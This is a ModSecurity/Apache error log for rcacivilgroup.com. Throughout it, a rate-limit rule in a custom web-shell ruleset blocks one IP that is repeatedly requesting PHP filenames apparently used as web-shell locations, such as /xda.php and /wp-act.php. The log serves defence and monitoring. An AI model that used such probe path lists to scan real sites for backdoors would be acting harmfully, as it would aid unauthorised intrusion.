[Sun Apr 26 05:06:15.092280 2026] [:error] [pid 41906:tid 41911] [client 20.199.180.228:14337] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ae0sxz3-0A3lxw9OXoDswwAAAYM"]
[Sun Apr 26 05:06:15.629224 2026] [:error] [pid 10315:tid 10324] [client 20.199.180.228:14503] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ae0sx6JIw2vjkleLIaB8IAAAAQc"]
[Sun Apr 26 05:06:16.165201 2026] [:error] [pid 10315:tid 10327] [client 20.199.180.228:10189] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ae0syKJIw2vjkleLIaB8JgAAAQo"]
[Sun Apr 26 05:06:16.702785 2026] [:error] [pid 10315:tid 10333] [client 20.199.180.228:14566] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ae0syKJIw2vjkleLIaB8KgAAARA"]
[Sun Apr 26 05:06:17.209178 2026] [:error] [pid 8491:tid 8500] [client 20.199.180.228:14420] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cache.php"] [unique_id "ae0sySq7I7e6CJooQM1_LAAAAME"]
[Sun Apr 26 05:06:17.707525 2026] [:error] [pid 31273:tid 31341] [client 20.199.180.228:14416] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cache.php"] [unique_id "ae0syfhcNJEGrATcuEewfAAAAUQ"]
[Sun Apr 26 05:06:18.233374 2026] [:error] [pid 10315:tid 10338] [client 20.199.180.228:14527] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cache.php"] [unique_id "ae0syqJIw2vjkleLIaB8LQAAARU"]
[Sun Apr 26 05:06:18.769647 2026] [:error] [pid 8491:tid 8523] [client 20.199.180.228:14340] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cache.php"] [unique_id "ae0syiq7I7e6CJooQM1_MAAAANc"]
[Sun Apr 26 05:06:19.338777 2026] [:error] [pid 10315:tid 10317] [client 20.199.180.228:14353] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error.php"] [unique_id "ae0sy6JIw2vjkleLIaB8LwAAAQA"]
[Sun Apr 26 05:06:19.854499 2026] [:error] [pid 10315:tid 10340] [client 20.199.180.228:14469] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error.php"] [unique_id "ae0sy6JIw2vjkleLIaB8MgAAARc"]
[Sun Apr 26 05:06:20.397893 2026] [:error] [pid 8390:tid 8469] [client 20.199.180.228:14393] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error.php"] [unique_id "ae0szIGPtFK_i9p5yxQEHwAAAJI"]
[Sun Apr 26 05:06:20.960751 2026] [:error] [pid 10315:tid 10321] [client 20.199.180.228:14401] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error.php"] [unique_id "ae0szKJIw2vjkleLIaB8NQAAAQQ"]
[Sun Apr 26 05:06:21.528077 2026] [:error] [pid 10315:tid 10337] [client 20.199.180.228:14482] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file32.php"] [unique_id "ae0szaJIw2vjkleLIaB8OAAAARQ"]
[Sun Apr 26 05:06:22.069722 2026] [:error] [pid 10315:tid 10327] [client 20.199.180.228:10202] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file32.php"] [unique_id "ae0szqJIw2vjkleLIaB8OwAAAQo"]
[Sun Apr 26 05:06:22.613833 2026] [:error] [pid 10315:tid 10323] [client 20.199.180.228:14425] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file32.php"] [unique_id "ae0szqJIw2vjkleLIaB8QAAAAQY"]
[Sun Apr 26 05:06:40.044877 2026] [:error] [pid 8390:tid 8465] [client 20.199.180.228:10187] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "ae0s4IGPtFK_i9p5yxQEPQAAAI4"]
[Sun Apr 26 05:06:40.635649 2026] [:error] [pid 8491:tid 8503] [client 20.199.180.228:14356] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "ae0s4Cq7I7e6CJooQM1_SgAAAMQ"]
[Sun Apr 26 05:06:41.201582 2026] [:error] [pid 31273:tid 31344] [client 20.199.180.228:10184] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "ae0s4fhcNJEGrATcuEewmgAAAUY"]
[Sun Apr 26 05:06:41.886592 2026] [:error] [pid 10315:tid 10334] [client 20.199.180.228:14397] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "ae0s4aJIw2vjkleLIaB8dgAAARE"]
[Sun Apr 26 05:06:42.452843 2026] [:error] [pid 31273:tid 31345] [client 20.199.180.228:14498] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pucci.php"] [unique_id "ae0s4vhcNJEGrATcuEewnwAAAUc"]
[Sun Apr 26 05:06:43.025949 2026] [:error] [pid 8383:tid 8407] [client 20.199.180.228:14451] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pucci.php"] [unique_id "ae0s49Fa2S3EsATMdWOzEwAAAAo"]
[Sun Apr 26 05:06:43.592257 2026] [:error] [pid 8491:tid 8520] [client 20.199.180.228:10196] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pucci.php"] [unique_id "ae0s4yq7I7e6CJooQM1_UwAAANU"]
[Sun Apr 26 05:06:44.122709 2026] [:error] [pid 31273:tid 31349] [client 20.199.180.228:10179] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pucci.php"] [unique_id "ae0s5PhcNJEGrATcuEewpQAAAUo"]
[Sun Apr 26 05:06:44.691821 2026] [:error] [pid 31273:tid 31350] [client 20.199.180.228:10185] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/app.php"] [unique_id "ae0s5PhcNJEGrATcuEewqAAAAUs"]
[Sun Apr 26 05:06:45.295056 2026] [:error] [pid 31273:tid 31356] [client 20.199.180.228:10198] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/app.php"] [unique_id "ae0s5fhcNJEGrATcuEewqgAAAVE"]
[Sun Apr 26 05:06:45.811798 2026] [:error] [pid 10315:tid 10339] [client 20.199.180.228:14437] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/app.php"] [unique_id "ae0s5aJIw2vjkleLIaB8hAAAARY"]
[Sun Apr 26 05:06:46.333244 2026] [:error] [pid 10315:tid 10318] [client 20.199.180.228:14454] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/app.php"] [unique_id "ae0s5qJIw2vjkleLIaB8hgAAAQE"]
[Sun Apr 26 05:06:46.867108 2026] [:error] [pid 10315:tid 10325] [client 20.199.180.228:14432] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x.php"] [unique_id "ae0s5qJIw2vjkleLIaB8hwAAAQg"]
[Sun Apr 26 05:06:47.379462 2026] [:error] [pid 8491:tid 8504] [client 20.199.180.228:14442] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x.php"] [unique_id "ae0s5yq7I7e6CJooQM1_WwAAAMU"]
[Sun Apr 26 05:06:47.913165 2026] [:error] [pid 8491:tid 8507] [client 20.199.180.228:14336] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x.php"] [unique_id "ae0s5yq7I7e6CJooQM1_XQAAAMg"]
[Sun Apr 26 05:06:48.431671 2026] [:error] [pid 8491:tid 8502] [client 20.199.180.228:14446] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x.php"] [unique_id "ae0s6Cq7I7e6CJooQM1_XwAAAMM"]
[Sun Apr 26 05:06:48.949325 2026] [:error] [pid 41906:tid 41932] [client 20.199.180.228:10191] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sys.php"] [unique_id "ae0s6D3-0A3lxw9OXoDs0QAAAZg"]
[Sun Apr 26 05:06:49.491002 2026] [:error] [pid 8491:tid 8508] [client 20.199.180.228:10226] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sys.php"] [unique_id "ae0s6Sq7I7e6CJooQM1_YQAAAMk"]
[Sun Apr 26 05:06:50.131615 2026] [:error] [pid 41906:tid 41929] [client 20.199.180.228:14360] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sys.php"] [unique_id "ae0s6j3-0A3lxw9OXoDs1AAAAZU"]
[Sun Apr 26 05:06:50.761148 2026] [:error] [pid 41906:tid 41926] [client 20.199.180.228:14370] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sys.php"] [unique_id "ae0s6j3-0A3lxw9OXoDs2QAAAZI"]
[Sun Apr 26 05:06:51.285752 2026] [:error] [pid 8383:tid 8397] [client 20.199.180.228:14358] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "ae0s69Fa2S3EsATMdWOzGwAAAAA"]
[Sun Apr 26 05:06:51.808444 2026] [:error] [pid 10315:tid 10327] [client 20.199.180.228:14427] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "ae0s66JIw2vjkleLIaB8jQAAAQo"]
[Sun Apr 26 05:06:52.399745 2026] [:error] [pid 41906:tid 41917] [client 20.199.180.228:10231] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "ae0s7D3-0A3lxw9OXoDs3gAAAYk"]
[Sun Apr 26 05:06:52.996597 2026] [:error] [pid 8385:tid 8432] [client 20.199.180.228:14439] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "ae0s7DOy7_J84Wx3-oxT0gAAAEg"]
[Sun Apr 26 05:06:53.640012 2026] [:error] [pid 8385:tid 8439] [client 20.199.180.228:10192] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "ae0s7TOy7_J84Wx3-oxT0wAAAE8"]
[Sun Apr 26 05:06:54.230536 2026] [:error] [pid 8385:tid 8436] [client 20.199.180.228:10207] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "ae0s7jOy7_J84Wx3-oxT1QAAAEw"]
[Sun Apr 26 05:06:54.772798 2026] [:error] [pid 10315:tid 10328] [client 20.199.180.228:14405] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "ae0s7qJIw2vjkleLIaB8kAAAAQs"]
[Sun Apr 26 05:06:55.349447 2026] [:error] [pid 8385:tid 8435] [client 20.199.180.228:14343] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ol.php"] [unique_id "ae0s7zOy7_J84Wx3-oxT1wAAAEs"]
[Sun Apr 26 05:06:55.891866 2026] [:error] [pid 31273:tid 31358] [client 20.199.180.228:10205] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mws.php"] [unique_id "ae0s7_hcNJEGrATcuEewtgAAAVM"]
[Sun Apr 26 05:06:56.437155 2026] [:error] [pid 8385:tid 8443] [client 20.199.180.228:65457] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mws.php"] [unique_id "ae0s8DOy7_J84Wx3-oxT2QAAAFM"]
[Sun Apr 26 05:06:56.937042 2026] [:error] [pid 8390:tid 8467] [client 20.199.180.228:14362] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mws.php"] [unique_id "ae0s8IGPtFK_i9p5yxQERwAAAJA"]
[Sun Apr 26 05:06:57.467491 2026] [:error] [pid 8390:tid 8470] [client 20.199.180.228:14453] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mws.php"] [unique_id "ae0s8YGPtFK_i9p5yxQESAAAAJM"]
[Sun Apr 26 05:06:58.009014 2026] [:error] [pid 8390:tid 8472] [client 20.199.180.228:14589] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file9.php"] [unique_id "ae0s8oGPtFK_i9p5yxQESQAAAJU"]
[Sun Apr 26 05:06:58.556486 2026] [:error] [pid 41906:tid 41921] [client 20.199.180.228:14414] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file9.php"] [unique_id "ae0s8j3-0A3lxw9OXoDs9AAAAY0"]
[Sun Apr 26 05:06:59.112737 2026] [:error] [pid 8491:tid 8514] [client 20.199.180.228:14422] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file9.php"] [unique_id "ae0s8yq7I7e6CJooQM1_aQAAAM8"]
[Sun Apr 26 05:06:59.608006 2026] [:error] [pid 10315:tid 10330] [client 20.199.180.228:14355] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file9.php"] [unique_id "ae0s86JIw2vjkleLIaB8ogAAAQ0"]
[Sun Apr 26 05:07:00.131298 2026] [:error] [pid 41906:tid 41910] [client 20.199.180.228:14357] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff1.php"] [unique_id "ae0s9D3-0A3lxw9OXoDtBAAAAYI"]
[Sun Apr 26 05:07:00.659232 2026] [:error] [pid 31273:tid 31335] [client 20.199.180.228:10215] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff1.php"] [unique_id "ae0s9PhcNJEGrATcuEewwAAAAUA"]
[Sun Apr 26 05:07:01.224144 2026] [:error] [pid 41906:tid 41923] [client 20.199.180.228:14382] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff1.php"] [unique_id "ae0s9T3-0A3lxw9OXoDtCAAAAY8"]
[Sun Apr 26 05:07:01.757006 2026] [:error] [pid 41906:tid 41919] [client 20.199.180.228:10213] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff1.php"] [unique_id "ae0s9T3-0A3lxw9OXoDtCQAAAYs"]
[Sun Apr 26 05:07:02.324656 2026] [:error] [pid 31273:tid 31339] [client 20.199.180.228:14384] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "ae0s9vhcNJEGrATcuEewwgAAAUM"]
